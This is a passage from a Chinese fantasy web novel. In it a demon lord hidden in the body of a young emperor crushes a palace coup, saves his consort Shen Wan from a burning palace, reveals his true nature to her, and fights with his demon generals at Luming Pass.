沈纨挨着他坐下,宫灯辉煌,能看到远近穿梭的人影,但放眼宫城外,却漆黑沉寂,不似此前金谷灯会之时,满城光耀,漆黑的远方在秋夜中显得很是萧瑟。
宫灯映得身侧青年目光明亮,他望着远方,沉吟不言,那个方向是魏王府所在,虽然凡人肉眼不可见,但他在他眼中,王府之上盘踞着一棵枯树,由于被魔族吞噬,象征祖辈的枝叶已经消逝,再无祖荫庇护,残余的根系朽烂,鬼都不吃。随着大长公主谢世,又一颗果实枯萎凋零,并化作黑雾散去,其他的果实寥落地挂在枝头,摇摇欲坠。
“陛下,我有种不太好的预感。”沈纨当然看不到魔情能够看得见的东西,但她没来由地,觉得宫城近日人心惶惶。
“怎么?”他收回目光,神色轻松地面对她。
“妾说不好,既担心徐氏狗急跳墙,又觉得宫里近日人心浮动,心中害怕。”
她的担忧并非毫无道理,烂掉的根系需要用火去烧,所以快了。
“徽元殿是安全的,你这几日觉得危险不要轻易出去。”他思考了一下又强调道:“再害怕也不用出去,朕或朕的护卫自然会有人寻你。”
“妾身居住银杏居,后来方知彼处有奇特屏障,陛下可知晓?”
“你都见过那些狐狸了,坊间能人异士甚多,有些密不外传的奇术为天家所用,不难理解。”
也只能说到这个程度了,沈纨沉默地陷入了思考。
云华大长公主去世,,魏王府忙于治丧,往来吊唁的宾客络绎不绝,每日有大量车马进出京城,声势浩大,如此四十九日后,公主葬入西园。但出宫的徐贵妃在祖母下葬后却并未回宫,仅两日后,徐氏终于撕下了伪装的面皮。
在这一日清晨,大军包围长庆宫,一纸檄文痛陈昏君:“不敬上天,不恤下民,承祖宗基业却治国无道,沉湎声色,宠幸奸回,以致结怨于民,使上天降灾。”又言:“妖妃沈氏,不恤礼法,以媚术惑帝心,在宫中大兴巫蛊。”
魔情听闻檄文时,跟随徐敦在边关战无不胜的天狼卫此时已突入宫城,直取天子萧誉与沈婕妤的人头。
“怎么就上天降灾了?”彼时他正在御书房内,竟然还有兴致玩味地品鉴檄文中的内容。
黄门侍郎上了年纪,吓得两股战战,兀自说臣愿死战护主,还请陛下尽速离宫。今日御书房议事,有数人称病未至,侍奉之人也较之平日略有不同,由此大致能看明白,谁是与徐氏较为亲近的眼线,又有谁不曾被收买,今日都放到御书房来,分明想一网打尽。
他并不惧那些叛军,倒不如说,徐氏的冒进皆由他一手挑起,现在突然有些伤脑筋,怎么竟然还有点忠臣剩下?
两个魔将都在待命,魔情正欲吩咐饕餮,御书房外竟来了一小队禁军,驻守东门的武官带了二十余人匆匆赶来护驾,直言要护天子杀出一条血路离开,如若能顺利出城,可向东而去,与驻守晋阳的并州刺史周王会合。
“不用你们。”魔情起身问那为首的武官道:“你叫什么名字?”
“卑职柴瑾,宿卫营的武官,驻守于东侧银汉门。”
“柴瑾听旨,护送这些老臣与宫人离宫,不得有失。”
“但,陛下……”
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那些老臣哪里肯从命,誓言要同生共死。
好感人啊,若是患难君臣说不定还可以抱头痛哭,遇上多愁善感的史官还能留下一段佳话,可他养了那么久的反派,正等着收割,没空。
“都听不懂人话吗?”皇帝拉下来脸来不悦道:“朕不用尔等护卫,列位卿家都有了年纪,忠义之心朕记下了,平乱之后还要仰赖各位,而非现在就殉国。温言听旨,”他加重了语气:“叛军攻入,难免有匪类军纪败坏,能带出去多少,你看着办吧。”
殿外的喊杀声震耳欲聋,逐渐逼近御书房,有一小拨叛军闯入殿前,发现天子居于内,声威大振,人人都争拔头筹,要取天子首级。
殿门被撞开,柴瑾等武官拔剑拒敌,没想到眼前一花,掠过众人,按住冲在最前面的叛军官兵持刀的手,只听喀嚓一声,为首的官兵大声惨叫,他的腕骨被折断,天子反手夺刀,左右闪过两道银色的弧光,两侧的叛军仰面倒下,颈间血流如注。
柴瑾行伍十余年,身为禁军武官,见过多少精锐,也从未见如此迅疾的身手,转瞬间十余人躺在地上,天子压倒性的武力颇为震慑那些自幼习武,在宫中也履职经年的武官。柴瑾敬畏地稳了稳神,不敢打包票陛下一定无事,但这夸张的武学底子,可比他强多了,其余的禁军也迎上去,在殿门前这一波剩余的叛军拿下。
就在这时,天子身边突然出现两个气质和装束都极奇怪的武将,一个身形极高极雄壮,相貌很是俊美,却有种野兽般的气质,令一个盲眼瘦削,手持一柄长横刀,鲜血蜿蜒地从刀尖滴落。
天子如今还未满十九岁,身量也比他身边的两个神秘的武将要矮,但气质却丝毫不落下乘,他察觉到禁军和那些老臣还踟蹰未动,不耐烦地看过来:“柴瑾,尔等不会觉得朕很有耐心吧?”
他们相隔一段距离,本应扬声高喊才能够互相听见,天子却如寻常交谈一般,声音稳稳地传过来,柴瑾陡然一个激灵,满头大汗道:“微臣领旨,定不负君命!”
他不再迟疑,转身指挥部下,掩护那些老臣和宫人向东杀出去。
现在禁宫乱成一团,宫人忙着逃命,二十余人虽然不多,都是有经验的武官,勉强够用。撤离时有不少人暗暗心惊,当今圣上未满弱冠,从未曾听说他有如此非凡的修为。
叛军潮水般接连涌入皇城,都在忙着搜寻小皇帝,毕竟能抓住昏君的,算立首功,已有一小股叛军在靠近帝寝的望月台附近发现了小皇帝的踪迹。
饕餮混沌已经各自散去,贪婪的饕餮最喜战乱,欣然前去狩猎,饱食恐惧和鲜血。混沌前去确认皇太后和沈纨的安全,至少到目前为止,她们依然无事,太后竟然有意想不到的外援,而那沈家姑娘被限制在施了术的徽元殿内,心下惶然,却也平安。
所以,那一小股叛军发现小皇帝孤身一人,简直欣喜若狂。
魔情掂量了一下方才自一名武官手中夺下的刀,在人间姑且已经算良品,但对他来说依旧轻如片羽,拿着毫无手感,只能将就一用。
徐家军是久经沙场的虎狼之师,数十人杀气腾腾地围上来,莫不跃跃欲试。
没想到面前那少年天子毫无惧色,反倒狡黠地迎着众人一笑:
“来啦?都不会白来。”
44. 日掩
一觉睡醒,宫变了。
虽然这几日天子反复嘱咐她,有危险留在徽元殿最安全,但睁开眼睛就看到谋逆,皇宫陷入混乱,四面八方喊打喊杀,还是太超出她的预计了。
御殿内竟然一个宫人也无,沈纨尝试叫了几次人,又是困惑又是惊慌,令她费解的是,她在试图躲藏时,发觉叛军屡屡自徽元殿外奔过,却如同没看见般,并不向内闯。等一拨贼军过去,她小心翼翼地来到殿门口,试图出去,却总是会绕回原地,如同此前银杏居的奇妙墙壁,四周出现了无形的屏障,她被困住了。
仿佛隔着透明的镜面去看另外一个世界,一侧刀光剑影,血流成河,另一侧却成为一个寂静无声的世界。
徽元殿西侧建有一座三层高的望月台,沈纨登上高台,焦急地四望,错愕地看到了难以置信的奇景,徐敦的天狼卫是身经百战的军队,皇城如今已经失陷,可见禁军已是没什么用处了,但她眼前的那些天狼卫却陷入了混乱。
一个玄衣龙袍的少年郎君从望月台东南方面的紫宸殿前冲出来,身形极快,身上的金色龙纹都好像活了过来,狼群集结到一起狩猎,但捕食者和猎物的身份却倒转过来,天子拿着一把滴血的长刀追击面前溃散的叛军,刀刃甚至没有直接接触到敌人,刷刷两下挥出,银光闪动,仅凭借无形的刀兵之气就砍翻了前面的四五个人。
把他们追得像赶牲口一样。
沈纨领教过天子深不可测的武力值,看样子是不用担心了,那么他在国政上的作为就更令人理解,何以能放任世家攥取权力,以至于危及帝位?
场面甚是血腥,沈纨忍不住低下头,又怕一不留神就失了天子踪迹,缓了缓又抬起头来。
天子还在原地,握着滴血的长刀,他似乎有所感应,扬起头看过来,她看到一对金色的眸子,但仅仅只是一闪而过,也许她只是出现了幻觉。
二人对视,沈纨听到耳边有人对她说。
【原地等着,现在就去接你。】
话音才落,沈纨身后出现一声巨响,她受到惊吓,弯腰捂住了耳朵,身后窜起一股浓烟,徽元殿东侧起了大火。
混沌施的术法让常人刻意忽略了帝寝之所在,但并非水火不侵,徽元殿附近的回廊走了水,火势蔓延到天子寝宫,整个宫殿出现了像是浸泡在水中才有的波纹扭曲,令整个宫殿时隐时现,火焰迅速蔓延到了望月台。
【赶快下来,在殿门口等我。】
他撂下话就向帝寝的方向而来,沈纨此时已闻到浓重的烟味,徽元殿起火,魔障遭到扭曲,致使徽元殿整个东面在烟气中若隐若现,如同水中倒影般怪异地晃动着。
魔情赶往沈纨所在之处,小皇帝本身就是个巨大的目标,始终有不知底细利害的叛军纠集而至,他内心不耐烦,下手更重,魔气翻腾,一对金瞳像燃烧的火焰。
那些成为炮灰的天狼卫在临死前,惊愕地看着一个玄衣少年周身散发黑气,鬼魅般向北边掠去。
此时的饕餮与混沌分散在皇城不同的方向,饕餮杀得兴起,从皇宫南门攻入的叛军最多,意在直指天子和太后的居所,却在半途遇上了个比阎王还吓人的神秘武将,他给宫城中的叛军制造了最多的恐惧,在他的刀下,凡人的刀枪剑戟只是面条,肉身是豆腐渣。
隐藏在半空中的蓝月也醒了,兴奋地蠕动着,仿佛什么活过来的东西,不分敌我地吸食亡者的魂魄,但也只有魔族的眼睛才能看到,除了魂魄之外,还有情绪,战争带来的恐惧和贪婪,化作一缕又一缕的黑气,悉数飞上高空,被蓝月所吸收,魔族笑纳了这些祭品。
混沌在长宁殿附近,他意外发现,谢太后有意想不到的外援,突然出现的剑客论起修为在人间算是难逢敌手,竟然能护得谢太后周全,暂时不必他出手。
他倚在长宁殿外一棵枝叶粗壮的大树上,以手枕头,懒洋洋地静观附近的缠斗,全知的视角让他不必用眼睛看,也知道发生了什么,而他气质特殊,想不叫人发现,凡人就决计注意不到他。
附近出现了不寻常的扰动,他察觉到徽元殿有危险,树上抓下一把叶子,手腕一抖,那些叶片像飞刀一样疾射出去,破风有声。
谢太后身边护卫着宫里的侍卫和一些她昔年结识的故人,多年未见,察觉到宫变,仗义相救,只是叛军人数愈多,撤离有些困难,没想到从附近飞来数十片叶片,来势极是厉害,她周围的天狼卫爆发出惨叫,那些叶子穿过他们的死穴,留下细小的伤口,却全是致命伤,贼军在一瞬间全数倒下,一个活口都没留。
众人困惑地四望,却不知这奇妙的援手来自何方,谢明璋身边的侍卫冷静下来,忙道:“太后殿下,此处非久留之地,需速速离去。”
混沌正打算起身,前往徽元殿,另一处的饕餮正愉悦地享受猎杀,就在这时,两个魔将不约而同地停下来,并抬起头。
时值初冬的多云天气,天空挂着朦胧的太阳,突然间,太阳失去了光明,似乎被什么所吞噬,整个皇宫陷入了黑暗。突然产生的异象让宫城内的叛军和逃难的宫人都陷入了困惑和恐慌之中。
半炷香前,徽元殿东侧起了大火,并烧到望月台,沈纨被浓烟呛得不住咳嗽,笼罩在帝寝四面八方的奇怪屏障被大火烧得扭曲起来,保护减弱了,附近的叛军发现异常,呼来同党潮水般地涌进徽元殿。
他们发现楼台上有一个容貌极美的女郎,与此同时身着龙袍的小皇帝冲进来,这下可好,魏王讨贼檄文里控诉的昏君与妖妃齐聚,众人声势大振,人人争立首功。
沈纨陷在火海之中,火焰灼烧木梁的哔剥声不绝,四面八方好像都是人,前面是大火,后面是穷凶极恶的饿狼,她对天狼卫有所耳闻,徐敦昔年平定边患,凡下一城,为了犒赏部下,往往纵兵劫掠,因此天狼卫被称为虎狼之师,并非只是字面意义上称颂战力,他们还有虎狼之行。
魔情冲进殿内,发现火势比想象中要大得多,冬天风大,助长火势,望月台下层已烧塌了一半,她自己决计是下不来了。
四周尚有添乱的叛军围过来,冲他举起屠刀,但令他们困惑的是,面前的小皇帝竟然站着不动,甚至懒得费心去招架,屠刀尚未落到他头上,试图供给他的叛军化成了血雾,什么都没剩下。
屋顶坍塌了,楼台上的少女发出一声尖叫,沈纨被吞进了火海之中。
巨型梁木垮塌下来,她的脖子应该是被打断了,燃烧的巨木压在她身上,可能身体也被压碎了,她体
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会到濒死的感觉,眼前陷入了黑暗。
但黑暗却不是错觉,突然之间太阳的光芒被遮掩,整个皇城一时间跌入无尽的黑夜,除了望月台上的女子,徽元殿内所有的活物都被湮灭,一点痕迹都没有留下,黑色的火焰裹住了她。
沈纨迷迷糊糊地睁开眼睛,好像死过一回,浑身似乎有火焰滚过,剧痛而且浑身无力,她好像躺在什么人的怀里,身后有坚实的手臂托着她。
她费力地抬起手向前摸索,手被握住,冰凉的黑色手甲,五指如利爪一般,很轻易就可以划伤她,但是握着她的力道却很轻柔。
面前是一个身着怪异玄甲的陌生人,身体似乎泛着银光,她看到飘动的银发,烈焰的灼烧感已经荡然无存,她现在感受到的只有非常冰冷的感觉。
“你……是谁……?”
她艰难地抬起头向上看。
“你……你不是……”身体上的疼痛实在是难以忍受,她的视线只来得及看到有点苍白,但线条优雅的下颌,随后陷入了黑暗。
皇城里的黑暗是一时的,很多人在那一刻都感到了莫名的恐惧,伸手不见五指的暗夜中,夜空悬着一轮泛着幽光的蓝月,但很快黑暗像退去的潮汐,被云雾所遮掩的模糊太阳又露了出来。
魔情抱着沈纨回到了蓝月幽阁。
沈纨体内的魔气翻涌,她受了致命伤,如果他没有及时出手她刚才必死,魔息替她化解了危机,反常地迅速修复了伤口,但她毫无修为,难以承受来自至高一族的魔气,对她身体造成的破坏恐怕难以避免。
至于下面的宫城,现在的状况反倒简单了,太后没什么事,她身边那些可靠的救援者甚至还救出了她的亲信宫女,现在正前往京郊的路上。叛军要寻找的小皇帝和沈婕妤已经消失,那些人再怎么搜寻也不会有结果了。
几个时辰后,沈纨醒了过来,痛苦地在翠玉台上辗转。
不知道自己身在何方,身上残留着火焰的灼烧感,体内有魔气翻滚,让她受着冰火两重天的折磨,身下的石台坚硬冰冷,她试着动了动,险些从石台上翻下来,但立刻就被人扶住,轻轻将她托起来,她摸到冰凉坚硬的盔甲。
她察觉到对方正握着她的手,那只手大他许多,长而锐利的手甲轻易地就可以把她的手整个握住。
“足下是谁?我在哪里?”
陌生男性的声音,还带着微微的回音,并透着诧异:“你看不见了?”
浑身痛得不行,出于礼貌也许该象征性地致以礼节,但她现在也只是微微低了头道:“小女子是京城人士,家父本为礼部郎中沈景,如今外调并州,而我入宫为婕妤,京城生变,我与陛下失散,还望阁下……”
对方似乎苦恼地叹了口气:“如月,认不得我了吗?”
全然陌生的声音,但是那说话的语气却是她一直以来极为熟悉的。
电光石火间,她似乎意识到什么:“你……你不是陛下?!”
“不是。”
她现在脑子还有点乱,但有什么早就觉得不对劲,却一直以来被她忽略,现在不得不面对的事实就在眼前了。
“陛下现今在何处?”
“他?应该今年春天的时候就死了吧。”
45. 魔
徐敦遣大军围困宫城,陆续杀入禁宫的叛军多达上千,而外城驻扎数万大军待命,随时听从大将军号令,但一日过去,天子、太后、沈婕妤皆未擒获,反而遭到了远超预料的惨重伤亡。
侥幸逃脱之人回禀徐敦,沈婕妤遍寻不至,另有目击者战战兢兢奏报,帝寝内的望月台起火,妖妃或有葬身火海的可能。但小皇帝极其难杀,面对数十人、近百人围杀,竟不能近身,太后亦得神秘外援,如今与天子皆不知所踪,天狼卫在皇城搜寻至深夜,又遣人在京城搜捕,至今未果。
一场军力占压倒性优势的宫变,三个人却形如人间蒸发一般,遍寻不见,还给天狼卫带来了惨重伤亡,徐敦怒不可遏,抓起案上一个茶盅,重重地往地上砸下去。
“没用的东西!各处的水路陆路严加看守,谅他们插翅也飞不出京城。”
虽然不能说是插翅,但叛军四处搜寻的皇帝和沈婕妤,却是真的到了月亮上。
沈纨感觉到有人将她扶起来,让她不至于从冷硬的石台上栽下去,她几个时辰前从火海中被捞出来,现在浑身魔气,身边的神秘男性,说话带着怪异的回音,身体还飘散着冰寒的气息。
听得他说皇帝死了,已是个噩耗,而年初就死了,就更是个恐怖故事了。
她的手被握在他的掌心里,沈纨惊恐地发现,身边的男子身体是虚的,云雾、水波般的触感,突然间形体就散了,原本交握的双手,此刻却穿过他的掌心落下来,但随后又察觉到他把手放在她的肩头,将她扶稳。
“你……你是什么?是鬼魂吗?陛下死了是什么意思?”
一口气抛出那么多问题,魔情叹口气:“你的第一个问题:算是吧。”
只是魔族的魂魄与凡人不太一样,看得见,摸得着,却又与实体有所区别。
“至于你的第二个问题,这就说来话长了……”
魔情说得很简单,透露的信息,刚好能够让沈纨理解现状,他的确不属于这个世界,遭遇部下背叛,意外落到人间,没想到就遇上一个将他当作刺客,喊打喊杀的冒失少年,他伤重之下,没有太多选择,将他夺舍,没想到这个少年身份特殊,为此提供了诸多便利,以及无以伦比的隐蔽性,供他修复受损的元神。
他的话语里有许多词汇沈纨还是第一次听说,虽然她此前领教过狐狸和蛇妖,怨灵和地狱,没想到身边一再出现突破她认知的怪事,被她视为夫君的男性竟然别有身份。
她想起今年开春,当今天子在狩猎中遭逢意外,一度生命垂危,致使京城人心惶惶,恐怕从那时起,端坐于帝位上的一国之君,就已经换了身分。
“这么说来,我今年三月份在清泉山遇到的郎君,也是阁下了?”
“当然。”
“郎君所追击的那名变作农女的邪物,也是你们那个世界的吗?”
“不错。”
竟然因为这样的理由,她不知道被什么东西纳入了禁中,还相处了将近一年。思及过往,面前的陌生青年早有各种令她难解,甚至非人的迹象,她竟然如此迟钝。
她才刚刚自接近濒死的状态被强行带回来,还有很多问题想要问,但现在却很虚弱,身体摇摇欲坠,好像要再度从石台上栽下去,却发现自己靠在了那陌生男子的身边。
大概是他臂膀的位置,很明显,他比她所熟知的天子要高出许多,她觉得这样欠妥,但她现在受了伤,不但思绪迟滞,也没有力气。
幽阁再现异动,混沌和饕餮回到了蓝月幽阁。
混沌首先发现不对劲,举起手拦住饕餮继续往前走。
不知何故,他们的主上现出本相,而那沈家姑娘低头靠着他,看起来很是亲密。
饕餮察觉出些不对劲,那女孩儿满身魔气,而且从内到外都是魔气,发生了什么?让她体内也有如此浓郁的魔气?
她的衣服被烧得多有毁损,现在双足悬空坐在黑玉石台上,露出雪白的小腿,对于她们这类注重体面的闺秀而言,可算得上有失体统。
他不禁皱眉:“公子和她什么时候……?”
“你有点常识。”混沌无语。
莫说一个魂体如何能与人类女子亲热,就是有什么,到他们这个级别的魔族,普通的人类女子只会无法承受而当场死亡。
魔情已经知道他们回来了,声音传出来:“外面情况如何了?”
混沌道:“太后安然离开宫城,属下已暗中引导她们前往京郊会合。”
沈纨听得来者的声音甚为熟悉:“你是云护卫?”
“沈娘子,你的眼睛受了伤?”
沈纨黯然地点点头。
过往那些费解的迷思,如同拼图,被一片又一片的拼起来。陛下给了她一个气质奇特护卫,他目盲,时常让人忘却存在感,其武勇深不可测,并有能力引起初九等一干精怪的忌惮,如今想来,那恐怕是远比风泽山那些精怪要强大的存在,而且听命的从来不是皇家。
“你和饕餮先过去守着,我们很快也会下去了。”
分明是上古凶兽的名字被身边的青年随口说出来,沈纨心中惊疑不定,他的语气平淡从容,仿佛这凶名只是任他差遣的部曲。
“领命。”沈纨听到两个声音,然后周遭再度归于安静。
魔情站起来:“我们现在必须离开这里了,你若还有疑问,我可以晚些时候再回答你。”
她原有的衣服被火焰烧灼,现在很是狼狈,因为他伪装的身份,蓝月幽阁里倒有几件小皇帝的袍子,现在让她披上,作一时权宜之用。
沈纨摸到锦袍上五爪金龙的刺绣,她刚才更衣的时候就很窘迫,也不知道那人会不会看到,比起严重僭越去穿龙袍,还有一些更让她不安的疑问萦绕心头,最后终是按捺不住去问他:“初九是狐狸,他的同伴也皆为精怪,那么郎君,还有你的那些部下,究竟是何方神圣?”
一阵漫长的沉默,魔情凝神看着她,他设想过很多情境,该在什么时候让她知道真相,没想到摊牌的时刻就这样不期而至,他目光落在沈纨身上,缓声道:
“魔。”
混沌站在京郊幽暗的树林之中,手中有一团黑气正在汇聚,天上一弯残月,幽暗的月光落在他的掌心,他在试图撷取月光,手中的黑气翻腾,银尘闪烁其中,不多时,他掌中的黑雾化作半副银面具,落在他的掌心。
有奇特的圆形光弧浮现在那弯月牙上,幽林间浮现出氤氲的薄雾,身体半透明、泛着银光的魔情带着沈纨降落到地面上。
混沌将银面具递给了魔情,早些时候他在京城的魔气爆发引起日食,虽然救了沈纨,但也给小皇帝那副肉身造成了巨大负担,如今暂不可用。这副假面只是一个幻术,遇上有修为的精怪或仙家,就会看出异常,但应对凡人足矣。
他说话的声音再度改变了,此前冷冽空灵,带着异样的回声,但随着假面归位,又恢复了她最熟悉的天子的声音,可现在沈纨听在耳中,只觉得伤感。
天子不是天子,沈婕妤自然也不是什么沈婕妤了。
同时她还想起民间关于画皮的传说,也觉得毛骨悚然,妖怪占据了人的形体,夜夜描画,以求其逼真。
远处的林地已有数人聚集,太后与贴身的宫女秋信安然来到密林中,沈纨发现,曹姑姑也无恙,曹柳玉发觉她失明,惊喜之余,却又落下泪来。
谢太后见到皇帝,情绪激动,沈纨在旁,内心很替她难过,她还不知道自己
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的皇儿早已不在人世了。
太后身边的宫女秋信道:“娘娘伤势可有碍?奴婢出来前随身带了金创药。”
沈纨乍听之下还以为谢后受了伤,没想到一个声音冷冷道:“别这么叫我!我离宫十数载,如今一介布衣,与那昏君毫无干系。”
秋信尴尬地致歉,而谢太后没有说话。
竟是此前在上阳宫,行刺徐阐那群义士里的女剑客凤鸣,沈纨心中震撼,只不过,她如今怀有一个更可怕的秘密,先朝的一些宫廷秘辛与之相比,都不算什么了。
她又听到高觉的声音:“见过太后。”
没想到有些本以为仅有短暂的因缘的过客,在不经意间再次重逢。
太后道:“你受伤了吗?秋信这里备了伤药。”
“皮外伤不碍事,行走江湖之人,伤药是常备的,此物已顺利取得,还请殿下检视。”他似乎把什么交给了太后。
沈纨只能听到众人的对话,搞不明白状况,魔情看过去,只见高觉将一副金册交给太后,乍一看有点像册封亲王和后妃的册宝,但既薄且小,仅有巴掌般大,太后谢过他,但依然显得心事满怀。
魔将带回信息,如今水路陆路皆有重兵把守,较有可能的突破口,需穿过这片树林前往东边的关隘。于是饕餮在前引路,混沌居于末尾,其余人居中而行,高觉和凤鸣护持太后,一行人结伴向东而去。
沈纨因为失明行路不便,魔情在她身边护着她走。
他们再不是少年天子与沈婕妤这对众人钦羡的佳偶,沈纨身体有点僵硬,还有点怕他,但身边的青年凑近她耳边说:“演了一年了,你想现在就露馅吗?我不会是长命的皇帝,再过几个月,你就自由了。”
就是这么说她也丝毫开心不起来。
“你们只有三个人,几十万大军,能赢吗?”
“能啊。”
说得倒轻巧,她觉得当下的状况早已超出认知远矣,想象不出他能有什么手段。
魔情略略皱眉道:“你也别把这些将士和百姓都想得这么不堪为用,如果这个小皇帝已然众叛亲离,这天下就别救了。”
高觉跟随一阵,看明白了要去的方向,不禁道:“我一路来时,见到各个关卡,从陆路至水路,皆布下重兵,由此向东为鹿鸣关,向来有官兵布防,我等人数有限,近半之人不会武,若无良策,恐难以从鹿鸣关无恙离开。”
“过了鹿鸣关便是广袤平原,去往并州最快,且先过去看看,车到山前必有路。”
其实他心中没酝酿什么良策,就是要硬打下来。
一个多时辰后,关卡在望,这一带山峦起伏,两侧山崖仅有一条羊肠小道供通行,以此天然屏障建立了鹿鸣关,因此处常有鹿群出没,因而得名。
众人接近关口,发现关楼之上旌旗猎猎,兵势比想象中大得多,看来,一场恶战在所难免。
魔情转头吩咐混沌:“你带着母后与沈婕妤等人找地方暂避,我与他先上去一探。”他冲饕餮点了点头。
太后不出所料极力反对:“誉儿,你怎能如此莽撞,关楼上是多少的守军,岂能擅自以身涉险?”
大战当前,魔情不想废话,决定独断一回,却听关楼之上有人惊呼:“陛下?莫非是陛下?”
魔情抬起头来,关楼上探出一副熟悉的面孔,竟是柴瑾,他身旁尚有数位今日前往御书房誓要护卫天子的禁军,看来,这些人比他们更早地来到了鹿鸣关。
“还不快快开门!”柴瑾大声吆喝,又转而向关楼之下喊道:“陛下不必忧心,驻守此地的温大人是自己人,我等已遣人快马加鞭送信并州求援,鹿鸣关如今尚有兵士七百,若那逆贼赶来,吾等誓死护卫天子!”
46. 凶神
徐敦起事之时,御林军玄武营里发生了一段小插曲,将官温言集结忠君之士,诛杀了统帅玄武营的军使,率领一千五百兵卒东进,拿下了鹿鸣关,并秘遣人四处搜寻天子。
鹿鸣关将士四处寻觅,却遇见柴瑾,他带领禁军二十余人,护送从宫中逃离的官员和宫人,躲避叛军搜捕途中,与鹿鸣关的守军相遇,温言听闻天子武勇过人,惊异不已,众人在鹿鸣关进一步固防,并继续搜寻天子。
见天子与太后俱无恙,鹿鸣关军心大振,温言下令开启大门,但就在此时,身后竟然有大军追击而至,淬火的弩箭射过来,饕餮和混沌站在众人前挥手将弩箭挥落。
“你们带太后和婕妤进去。”
魔情把沈纨交到曹柳玉手中,转身迎敌,太后完全就是一个焦虑的母亲,哪里肯依从,奈何情况甚是危急,她被天子一把塞到柴瑾手上,柴瑾领教过小皇帝深不可测的修为,默契地唤来守军将太后迅速请入关楼之内。
一枚弩箭正射向天子,到了他面前,却被他从容地抓住箭身,手腕一转,着火的箭头掉了个头,原路被他掷出,火箭穿透一名领军卫官的咽喉,他坠下马来,当场毙命,如此犀利的反击颇为震慑他身后的徐氏军队。
站在高处的哨兵远眺京城的方向,只见燃起的火把像火龙一般,自远处蜿蜒至关口,追击至此的徐家军人数比想象中要多出许多,沈纨与太后等人进入鹿鸣关,魔情身边是饕餮和混沌两大魔将,虽然他们隐去魔的形象,但身材高大,气质慑人,依然显得十分打眼。高觉凤鸣留在外同守军一同拒敌,温言也率军出击,柴瑾与鹿鸣关的守将居于关楼上指挥,不时令弓弩手放箭支援。
曹柳玉守着失明的沈纨在关楼之上,外面喊杀震天,但城楼上的守军却并未出现混乱,想来应当还不至于有事,但战火迫近眼前,她虽然一直在安抚沈纨,但心下难免有些不安。
“姑姑若是忧心,不妨去瞧瞧事态。”
“战事紧张,奴婢岂能过去添乱,再说也不能离了娘子。”
“我也有些在意下面的状况,不如曹姑姑也替我去打听打听。”
曹柳玉也实在忧心,决定到外头去探探消息,在接近城墙的别室附近,她遇见了太后,谢明璋比她更焦虑,正向守军询问军情,曹柳玉上前请安,亦说婕妤忧心陛下,站在太后身边听了片刻军情汇报。
“太后殿下不必忧心,陛下英雄出少年,身先士卒,千军莫能与之敌,实在令我等钦佩不已,虽敌众我寡,但我军声势远胜贼军。”
状况比想象中好了不少,曹柳玉心中喜悦,她不敢晾着沈纨太久,打探到消息,很快辞别太后,将喜讯回报沈纨,焦灼的心绪也因此稍定。鹿鸣关外两军已经开始交战,敌众我寡,很是动荡,这本应是最令人惊惧不安的局面,但沈纨才刚刚知晓一些过于冲击性的真相,以至于山河陷入动荡这样的大事,竟然一时间都顾不上细想。
还产生了矛盾而奇妙的感觉,她再也不会担心那所谓的“天子”的安危了,徐敦那十几万大军兴许还要惧怕他们才是,另一方面,她觉得自己遇上了一些极度危险,存在于未知世界的强大生灵。
她现在还失明了,只能枯坐在黑暗中,思及此,沈纨不由垂下头,情绪低落。
【沈姑娘,可想知道下面发生了什么?】
耳边响起空灵的声音,沈纨抬起头,是云侍卫,但她却辨不出声音从何而来,也不知道该怎么回应,白眉赤眼的,和空气说话,只怕还会惊着曹姑姑,以为她失了智。
【只需点头或摇头就好。】
沈纨点了点头。
云侍卫再无回应,片刻之后,她感觉到有人站定在她面前,混沌道:“沈姑娘,请随我来。”
他语气清晰,声音已没有刚才传音入密时,那直入心底,如回音般的空灵。
“你把曹姑姑怎么了?”他是这么直接进来的?曹姑姑才刚刚同她说完话,并一直守在房外。
“我瞧她也累了,建议她去休息一会儿,莫担心,她一会儿就醒了。”
建议?恐怕是用了什么的术法,让曹柳玉遵从了他的意志。
“随我来吧。”
混沌领着她避开众人的视线,来到关楼一处僻静之地,沈纨忍不住问出了一直盘旋于心地的疑窦:“我想冒昧一问,郎君的真名是什么?”
“混沌。”
“我曾见古籍有载:上古有凶神,有目而不见,有两耳而不闻,有腹无五脏,有德行者远避之,其名为混沌。莫非郎君……?”
他似乎笑了笑,又答:“原来你们是这样形容的,有许多不尽不实之处,但不错,就是吾。”
“混沌……是一个族群吗?还是只有你一个?”
“普天之下只有一个混沌。”
她此前似乎还听到了饕餮,按捺下心中的惧意,继续道:“你们的主上,莫非还有叫饕餮、穷奇的部下?”
“饕餮正在关楼下与吾主并肩作战,穷奇在魔域。”
那分明是传说中四凶神,他们的主人又该是怎样的存在,才能凌驾其上,令他们俯首帖耳,唯命是从?
“那么混沌公子,想必不是当真失明吧?”
“吾无需凡胎肉眼,自看得见。”
“可我的确是看不见了,你要如何让我知晓鹿鸣关之下的情形?”
混沌领着她来到一处,四下无人,关楼之下的交战的声音却很接近,他将手放在沈纨双目之上,似乎轻轻地抹了一下,沈纨感到双目如烧,突然间她的视线穿透黑暗,看见夜空下摇曳着的火把,军势雄壮,长蛇般黑压压地涌向鹿鸣关,天空变成紫色,并睁开了一个巨大的天眼。
沈纨被这画面吓了一跳,很快,战场的一切变得清晰起来,她很难形容这种穿透一切细节的感知,既能看到关楼上的柴瑾和弓弩手,又能看到其下交战的人,每一个人。
高觉和凤鸣非常能打,等闲的将士无法近身,但另外两个战力更为出挑的相比,又不算什么了。年岁还只是少年的天子,真实身份却是来自魔界的尊主,手上的一柄剑看起来极为寻常,像是从士卒那里直接借用的,信手挥出全是无形剑气,破坏力巨大,另一个,就是她此前仅见过一两次,却印象深刻,那身量高大,气质野性的魔将饕餮。
沈纨看着乱军之中的魔情,较之以往隐藏身份的他,虽还是她早就见惯的相貌,而今的气质已大为改变,那些叛军压根不能伤他分毫。
就在这时,半空中出现一个奇怪的黑点,那黑点
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越来越大,竟然是两个扭动的蛇头,周身裹着青雾。
那怪异的物事越发接近,沈纨才看出来,是一驾马车,是此前和狐狸一同乘坐过的,幽鳞姥姥的青冥灵蛇车。
蛇车撞入敌群,重重砸在地上,数个骑兵和弓弩手被砸中,一时间人仰马翻,有的追兵趴在地上不动,也不知还有命否。
蛇姥姥嘶嘶地下了车,她弯腰驼背,看起来就是个垂老妇人,形貌却阴森可怖,车上来滚下来只红毛狐狸,抖了抖毛,毛茸茸的尾巴摆来摆去,倏忽间变成一个少年模样,狼狈地从马车下爬出来,然后竹筒倒豆子似的,又掉出来四只动物。
“唉呀,不好,不好。怎么你们都看见了,那只有请你们上路了。”
